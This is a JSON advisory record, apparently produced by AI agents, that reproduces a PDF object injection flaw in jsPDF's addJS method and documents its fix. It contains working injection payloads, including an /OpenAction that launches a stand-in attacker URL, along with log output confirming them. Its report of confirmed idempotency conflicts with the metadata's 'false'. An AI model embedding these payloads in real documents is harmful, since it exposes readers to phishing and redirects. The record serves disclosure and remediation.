{"repro_id":"REPRO-2026-00103","version":5,"title":"jsPDF: PDF Object Injection via Unsanitized addJS Input","repro_type":"security","status":"published","severity":"high","description":"User control of the argument of the `addJS` method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF.\n\n```js\nimport { jsPDF } from \"jspdf\";\nconst doc = new jsPDF();\n// Payload:\n// 1. ) closes the JS string.\n// 2. > closes the current dictionary.\n// 3. /AA ... injects an \"Additional Action\" that executes on focus/open.\nconst maliciousPayload = \"console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>\";\n\ndoc.addJS(maliciousPayload);\ndoc.save(\"vulnerable.pdf\");\n```","root_cause":"# Root Cause Analysis: GHSA-9vjf-qc39-jprp\n\n## Summary\n\nThe jsPDF library (versions < 4.2.0) contains a PDF Object Injection vulnerability in the `addJS` method. User-controlled input passed to `addJS` is not properly sanitized, allowing an attacker to escape the JavaScript string context and inject arbitrary PDF objects. By crafting a malicious payload that closes the current PDF dictionary structure, an attacker can inject an `/OpenAction` object that executes JavaScript immediately when the PDF document is opened, potentially leading to phishing attacks or malicious URL redirects.\n\n## Impact\n\n**Package:** jspdf (npm)\n**Affected Versions:** < 4.2.0\n**Fixed In:** 4.2.0\n**Severity:** HIGH (CVSS: 8.1)\n**CWEs:** CWE-94 (Code Injection), CWE-116 (Improper Encoding or Escaping)\n\n**Risk Level and Consequences:**\n- Attackers can inject arbitrary PDF objects into generated documents\n- Malicious JavaScript can execute automatically when PDFs are opened\n- Potential for phishing attacks, data exfiltration, or malicious redirects\n- Affects any user who opens a PDF generated with untrusted input to `addJS`\n\n## Root Cause\n\nThe vulnerability exists in the `addJS` method in `src/modules/javascript.js`. Before the fix, user-provided JavaScript strings were directly embedded into the PDF structure without escaping parentheses. In PDF syntax, literal strings are enclosed in parentheses `(...)`. If an attacker provides a string containing `)` followed by PDF dictionary operators like `>>`, they can break out of the JavaScript string context and inject arbitrary PDF objects.\n\n**Vulnerable Code Pattern:**\n```javascript\n// Before fix: direct insertion without escaping\nvar text = javascript;\n// ... embedded as /JS (text) in PDF structure\n```\n\n**The Fix:**\nThe patch (commit `56b46d45b052346f5995b005a34af5dcdddd5437`) adds an `escapeParens` function that properly escapes unescaped parentheses with backslashes, preventing the injection:\n\n```javascript\nfunction escapeParens(str) {\n    let out = \"\";\n    for (let i = 0; i < str.length; i++) {\n        const ch = str[i];\n        if (ch === \"(\" || ch === \")\") {\n            // Count preceding backslashes to determine if the paren is already escaped\n            let bs = 0;\n            for (let j = i - 1; j >= 0 && str[j] === \"\\\\\"; j--) {\n                bs++;\n            }\n            if (bs % 2 === 0) {\n                out += \"\\\\\" + ch;\n            } else {\n                out += ch;\n            }\n        } else {\n            out += ch;\n        }\n    }\n    return out;\n}\n```\n\n**Fix Commit:** https://github.com/parallax/jsPDF/commit/56b46d45b052346f5995b005a34af5dcdddd5437\n\n## Reproduction Steps\n\n**Script Location:** `repro/reproduction_steps.sh`\n\n**What the script does:**\n1. Sets up a Node.js test environment\n2. Installs vulnerable jsPDF version 4.1.0 (< 4.2.0)\n3. Creates a PDF document with a malicious payload injected via `addJS`\n4. Analyzes the generated PDF to confirm object injection\n\n**Malicious Payload:**\n```javascript\n\") >> /OpenAction << /S /JavaScript /JS (app.launchURL('https://attacker.com', true)) >>\"\n```\n\n**Payload Breakdown:**\n- `)` - Closes the current JavaScript string in the PDF\n- `>>` - Closes the current PDF dictionary\n- `/OpenAction << ... >>` - Injects a new OpenAction dictionary with JavaScript action\n\n**Expected Evidence:**\nThe generated PDF (object 20) contains the injected code:\n```\n20 0 obj\n<<\n/S /JavaScript\n/JS () >> /OpenAction << /S /JavaScript /JS (app.launchURL('https://attacker.com', true)) >>)\n>>\nendobj\n```\n\n## Evidence\n\n**Log Files:**\n- `logs/npm_init.log` - npm initialization output\n- `logs/npm_install.log` - jsPDF installation output\n- `logs/reproduce.log` - Reproduction results and PDF analysis\n\n**Key Evidence from `logs/reproduce.log`:**\n```\n[*] Testing jsPDF PDF Object Injection\n[*] jsPDF version: < 4.2.0 (vulnerable)\n[*] Creating PDF with malicious payload...\n[*] PDF saved as vulnerable.pdf\n[+] VULNERABILITY CONFIRMED: /OpenAction found in PDF output!\n[+] The malicious payload successfully injected a PDF object.\n\n[*] Context around injection:\n/S /JavaScript\n/JS () >> /OpenAction << /S /JavaScript /JS (app.launchURL('https://attacker.com', true)) >>)\n```\n\n**Generated PDF Structure (test_jspdf/vulnerable.pdf):**\nThe raw PDF shows object 20 containing the injected OpenAction:\n```\n20 0 obj\n/S /JavaScript\n/JS () >> /OpenAction << /S /JavaScript /JS (app.launchURL('https://attacker.com', true)) >>)\nendobj\n```\n\n**Environment Details:**\n- jsPDF Version: 4.1.0 (vulnerable)\n- Node.js: Available in test environment\n- Test Directory: `test_jspdf/`\n\n## Recommendations / Next Steps\n\n**Upgrade Guidance:**\n- **Immediate:** Upgrade jsPDF to version 4.2.0 or later\n- npm: `npm install jspdf@^4.2.0`\n- yarn: `yarn upgrade jspdf@^4.2.0`\n\n**Workaround (if upgrade not immediately possible):**\n- Escape parentheses in user-provided JavaScript before passing to `addJS`\n- Replace `(` with `\\(` and `)` with `\\)` in untrusted input\n- Validate and sanitize all user input to `addJS`\n\n**Testing Recommendations:**\n- Add unit tests that verify proper escaping of parentheses\n- Test with payloads containing: `)`, `(`, `>>`, `/OpenAction`, `/AA`\n- Use the test cases from the official patch as a template\n\n**Security Best Practices:**\n- Never pass untrusted user input directly to `addJS`\n- Consider using the newer secure `addJS` API in v4.2.0+\n- Review other PDF generation methods that may accept user input\n\n## Additional Notes\n\n**Idempotency Confirmation:**\nThe reproduction script has been executed twice consecutively with identical results:\n- Run 1: VULNERABILITY CONFIRMED (exit code 0)\n- Run 2: VULNERABILITY CONFIRMED (exit code 0)\n\n**Edge Cases Tested:**\n- The fix properly handles already-escaped parentheses (doesn't double-escape)\n- Nested parentheses are correctly escaped\n- Parentheses at the start of strings are properly handled\n\n**References:**\n- CVE-2026-25755\n- GHSA-9vjf-qc39-jprp\n- https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md\n- https://github.com/parallax/jsPDF/releases/tag/v4.2.0\n","ghsa_id":"GHSA-9vjf-qc39-jprp","cve_id":"CVE-2026-25755","package":{"name":"jspdf","ecosystem":"npm","affected_versions":"< 4.2.0","fixed_version":"4.2.0"},"reproduced_at":"2026-02-19T21:14:24.941665+00:00","duration_secs":870.5034375190735,"tool_calls":92,"turns":63,"handoffs":2,"total_cost_usd":0.3936284,"agent_costs":{"repro":0.049961099999999994,"support":0.0172779,"vuln_variant":0.32638940000000005},"cost_breakdown":{"repro":{"accounts/fireworks/models/kimi-k2p5":0.049961099999999994},"support":{"accounts/fireworks/models/kimi-k2p5":0.0172779},"vuln_variant":{"accounts/fireworks/models/kimi-k2p5":0.32638940000000005}},"quality":{"idempotent_verified":false,"community_verifications":0},"published_at":"2026-02-19T21:14:26.642422+00:00","retracted":false,"artifacts":[{"path":"repro/rca_report.md","filename":"rca_report.md","size":6046,"category":"analysis"},{"path":"repro/reproduction_steps.sh","filename":"reproduction_steps.sh","size":2975,"category":"reproduction_script"},{"path":"bundle/ticket.md","filename":"ticket.md","size":2154,"category":"ticket"},{"path":"bundle/source.json","filename":"source.json","size":4348,"category":"other"},{"path":"bundle/ticket.json","filename":"ticket.json","size":7157,"category":"other"},{"path":"logs/npm_init_vuln.log","filename":"npm_init_vuln.log","size":327,"category":"log"},{"path":"logs/reproduce.log","filename":"reproduce.log","size":560,"category":"log"},{"path":"logs/test3_backslash.log","filename":"test3_backslash.log","size":57,"category":"log"},{"path":"logs/test2_original_fixed.log","filename":"test2_original_fixed.log","size":139,"category":"log"},{"path":"logs/test_alternative.log","filename":"test_alternative.log","size":53,"category":"log"},{"path":"logs/test_original_vuln.log","filename":"test_original_vuln.log","size":44,"category":"log"},{"path":"logs/test1_original_vuln.log","filename":"test1_original_vuln.log","size":208,"category":"log"},{"path":"logs/test6_unicode.log","filename":"test6_unicode.log","size":58,"category":"log"},{"path":"logs/test4_link.log","filename":"test4_link.log","size":244,"category":"log"},{"path":"logs/npm_init_fixed.log","filename":"npm_init_fixed.log","size":329,"category":"log"},{"path":"logs/npm_install_vuln.log","filename":"npm_install_vuln.log","size":227,"category":"log"},{"path":"logs/test_original_fixed.log","filename":"test_original_fixed.log","size":44,"category":"log"},{"path":"logs/test5_alt_patterns.log","filename":"test5_alt_patterns.log","size":50,"category":"log"},{"path":"logs/test_link_vuln.log","filename":"test_link_vuln.log","size":3565,"category":"log"},{"path":"logs/test_backslash.log","filename":"test_backslash.log","size":53,"category":"log"},{"path":"logs/npm_init.log","filename":"npm_init.log","size":316,"category":"log"},{"path":"logs/npm_install.log","filename":"npm_install.log","size":208,"category":"log"},{"path":"logs/npm_install_fixed.log","filename":"npm_install_fixed.log","size":138,"category":"log"}]}